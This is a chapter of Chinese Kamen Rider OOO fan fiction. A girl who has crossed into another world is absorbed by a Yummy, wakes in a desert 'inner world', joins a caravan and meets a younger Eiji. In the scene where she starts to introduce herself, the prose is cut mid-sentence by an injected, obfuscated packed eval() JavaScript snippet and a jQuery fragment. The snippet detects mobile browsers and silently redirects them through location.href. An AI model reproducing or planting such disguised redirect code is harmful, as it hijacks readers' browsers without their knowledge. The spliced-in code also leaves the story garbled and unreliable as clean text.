像是在海面上漂流。
开玩笑的,我并没有漂流的经验。只是这感觉让我想到以前看过的一张图片:一望无际的海洋,有个人躺在游泳圈上,随波逐流,好不惬意。
突然,下雨了。
什么情况?
“好困……”
数不清这是第几次从昏迷中苏醒,每一次都像是做了一个漫长的梦。
“我刚刚好像还跟Yummy搏斗来着?好像也没有……之后……”
记忆逐渐回笼。我想起自己从医院里逃脱,在去寻找映司的路上遇到了两只理论上被毁灭了的Yummy,之后……
“我应该是被他们吸收了,所以这是Yummy的内部?”
我爬起来,打量着周围环境。
原本以为都在Yummy的身体里了,按照祂们的结构,我看到只会是一堆堆的硬币,或者硬币的拟态。可事情完全不是这样。
“怎么像是非洲?撒哈拉沙漠?”
是的,我处于一片沙尘之中。加之高热的气温,频繁的风沙活动,虽然没有颜色不能下准确判断,但无论怎么看都是典型的、地球上的沙漠。
想到上次的共振,只有一个解释:我这是又跑到“里世界”中去了。
“Ankh跟那鸟人搏斗的时候,也没说会到这种世界里啊……”
我想起“两个Ankh”里,Ankh被迷失Ankh吸收的场景。
和我一样,Ankh也曾经被吸进过其他Greeed的体内,但我总感觉他看到的应该不是这些。
上一次是“共振”,这一次也是吗?但那个表现,怎么看都是“吸收”啊……
我想不明白。
“总之,没死就行。”我安慰自己,“没死就找得到路。说不定就跟上次一样,莫名其妙又出去了呢?”
“虽然好像是等映司他们来救……”
“也不是不可能吧!只要能解决那个所谓的Greeed!他们肯定会来救我的!”
“嗯……只要打败Greeed……”
“哎呀,也不用那么悲观,在此之前我也能努力啊!说不定走着走着也有收获了呢?走着走着也跟Ankh一样反客为主了呢?都有可能!”
“努力就是可能!活着就是可能!哈哈哈哈哈……”
--
我一面给自己打气,一面像所有故事里的沙漠旅者一样,一步也不敢停歇,在无边无际的黄沙上行走。
夜幕迟迟不肯降临。
尽管在“里世界”中,我是感觉不到热的,但是在这样一个没有尽头的世界,没有地图,没有指南针,没有疲惫,要不是背后深深浅浅的脚印,我怕自己已经疯了。
“往好处想,这里我做什么都有反应,可能就是鬼打墙了……多试试也许呢……或许只是没到强制播片的时候,或许……”
我嘀咕着,说话越来越轻。其实这才是最好的大声发泄的场合,但既然没有回应,好像也就没有了多说的必要。连词汇也变得贫瘠。
总之,很矛盾的。只能说我终于明白了为什么学外语的时候老师鼓励我们多跟外国人练习。说到底语言是交流的工具,没有交流的对象,语言也就失去了意义。
在这种场合悟道,不晓得是可歌可泣还是可叹可悲。
总之,我继续走。
不清楚过了多久,在视野边缘,突然出现了一栋灰白色的小楼。
即便是在荒漠,也有数个依托绿洲而建设的,属于人类的城镇。这点三毛在《撒哈拉的故事》中早有描述。
也许那是海市蜃楼,或者陷阱。毕竟我也不在现实的世界里,什么也得不到保证,贸然过去要是真没命了也不是没可能——电影里不是经常这样拍吗?本来没什么事的,结果因为意志不够坚定,硬是幻想出一个不存在的安全区,弄得没事也变有事了。
我无法保证远方的那座城镇也是如此。
但是,如果我继续在沙漠里这样走下去……谁说不会彻底迷失了呢?
既然两个选择都是好坏各半,我也没开上帝视角……那还是怎么舒服怎么来吧!
我朝着那栋小楼狂奔。
--
那建筑看着很远,实际上也没有多近。
我跑过去,眼看着方形的楼房越来越大,越来越多。我心想自己赌对了。至少这里暂时没有怪物作乱的痕迹。
再靠近点,我看见了一队骆驼。
我好奇地凑近。从服装和工具来看,似乎是一支商队。
突然,他们当中那个很像领头的男人转过头来:“诶,那边那个姑娘!”
我被这一声给吓到了,抖了个激灵愣在原处。
这是在叫我吗?
不对啊,我怎么听得懂他们在说什么?
不对吧,他们怎么会看见我!
“诶,姑娘!”那男人又喊了一声,同时还向我招手,“愣着干什么呢!姑娘!这里多热啊!”
这架势不可能是找别人了。
“请问是在叫我?”
“那肯定啊。”
“你们看得到我?”
“有什么看不看得到的?”
“之前没人能看见我。”
“啊,可能是神捂住了他们的眼睛。”
我走过去,边走边叽叽喳喳地问了好些事情。又被他们反过来问。
“中国人?”
“我是。”
“中国人越来越多了。以前日本人多,现在中国人也多——但好像没有你这么小的?”
“你当我特殊吧。”
“有十六岁吗?”
“十五。”
、
真的很神奇。从头到尾我说的都是中文,他们不晓得回的什么,但在我听来也是中文,我们之间居然没有任何的语言差异。
这算什么?哆啦A梦的翻译魔芋?还是说一切都只是我的幻想,所以才按照我能理解的方式呈现?
谁知道呢……
我正思索着,那男人又开口了。
“不过,这几天来的亚洲人真多啊,前两天还有个日本人……”
“日本人?”我抓住这个字眼,仰起脸问男人,“这地方还有日本人来吗?一个人?”
“一个男人。”那人想了想,“看着也很年轻啊,身上花花绿绿的,很开朗。这几天都在,帮了我们帮了不少忙。”
“……”
听见这个形容,我马上联想到一种可能。
不会有这么巧吧……
但是,也许不能说是巧合?就像我看到美智子美纪子的变异一样,与他无关才能算是超意外的展开吧!
“不好意思!”我鼓起勇气,“能不能让我去见见那个人?我们可能认识!”
“当然可以。”
那人一口答应。不光如此,他还给我在骆驼上安排了个位置,说如果我真的认识那个男人,应该要友好相待之类的怪话。
--
我随着商队进城,来到了男人的住处。
“咚咚咚。”
“谁啊?”
门被打开。
果然是映司。
“给,你需要的。”男人说着,把一个包袱递给映司。
“谢谢啊,还是这么可靠。”映司接过去,热情地同男人握手,余光里似乎看见了我。
“这个女孩子是……”
完了。
我心里咯噔一下。
现在的映司肯定是不认识我的,但我只认识他。必须想办法赖在他身边才行。
“我是……”我张口,准备先发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522812|202979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制人。
男人的语速比我还快:“她是你的朋友,我们在路上见到了,是专门为你而来的,对吧?”
对个头啊这下真完蛋吧!
我算是明白为什么人不怕神一样的对手就怕猪一样的队友了……尤其是说到最后两个字时,男人还转向我,像只得意洋洋的公鸡,似乎在用眼神说着:帮你介绍完了,不用客气。
我嘴角抽搐,一句话也不能再说。
--
但是,不知为何映司还是接纳了我。
“哦哦,我想起来了,是隔壁的那个小孩子吧!哎呀,你怎么过来了,家里人也不看着点吗?”
“欸?”
他撒了个笼统的谎言,把我从高高架起的状态中解救出来,顺理成章地留在了他的住处。
他家里经常有人上门,整个白天,我们甚至没来得及说一句话。
我在二楼的房间里百无聊赖地画着五子棋玩。直到天昏下来,映司走过来问我说:“要吃鱼吗?我找人买了两条。”
“哦……哦!”我扭过头,跟在映司身后下楼。
映司的料理水平并不高超,又是在物资贫瘠的沙漠,所以只是简单处理了一下,撒了点盐用火烧烤。
这样的做法本就味淡,更别提我现在的身体,一会儿估计什么也尝不出来。
映司几下就把鱼吃完了。我是猫舌,怕烫,还在努力吹气。听见他说:
“你到底从哪里来的?”
我顿住,不明白他问这话的用意。
实话还是谎话……我观察着,从他澄澈的眼睛里,解读出了答案。
其实穿越以后,我很少有机会跟他交流,反而和知世子和比奈比较熟悉。为数不多的几次交际,我们还吵了一架,应该说相性完全不合。
这还是头一回吧,我们能心平气和地聊天。只有我和他两个人。
“如果你问地点,我是从中国来的。”我说,顺嘴叼了口鱼肉,“如果问时间……现在是什么时候?”
“2017年3月12日。”
距离我穿越来的日期差了有六个月。“那你再过半年应该就认识我了。”我说,“我是那天穿越来的,从另外一个世界。”
映司沉默了。
的确,如果我听到某人是穿越来的,我应该会友好地给他精神病院的地址,请他到里面好好地治一治。但是映司不会这样。OOO变身都经历过了,对于各种超自然事件也没什么好不信的。
应该是在措辞。
“那还真是……遥远。”过了一会儿他说,像是终于找到了合适的字眼,“所以你是先穿越到我们这个世界,然后又来到了……过去?”
“不知道啊。”我也摆烂了,“我是被Yummy吸进来的,不知道你会在这里……反正我搞不懂了。”
我撕下一片鱼肉往嘴巴里塞,果然味同嚼蜡,吃得让人直皱眉头。
余光里,我看见映司的表情,似乎还有话想想问我。但既然我明牌自己一无所知,什么话都是多余。
晚上我睡在空房间里,枕着手肘本能地开始思考。
在上次“里世界”的旅途之中,我看到了Yummy的诞生,以及八百年前的部分真相。
如果每次“共振”、每个“里世界”都是为了向我透露一些情报……这个时间点,只能是石板的来历了吧。
像世界之神特别关照我的金手指。只是以解谜的形式出现,实际上在每个关键节点,我都能获得不同于“角色们”的场外线索。
如果我把这道题也解开了……
那就是我该告别的时候了吧。
“是这样吗?每个人都只想着自己被满足……”
我翻过身,忽然好像想唱那一首歌。那首《Time Judged All》。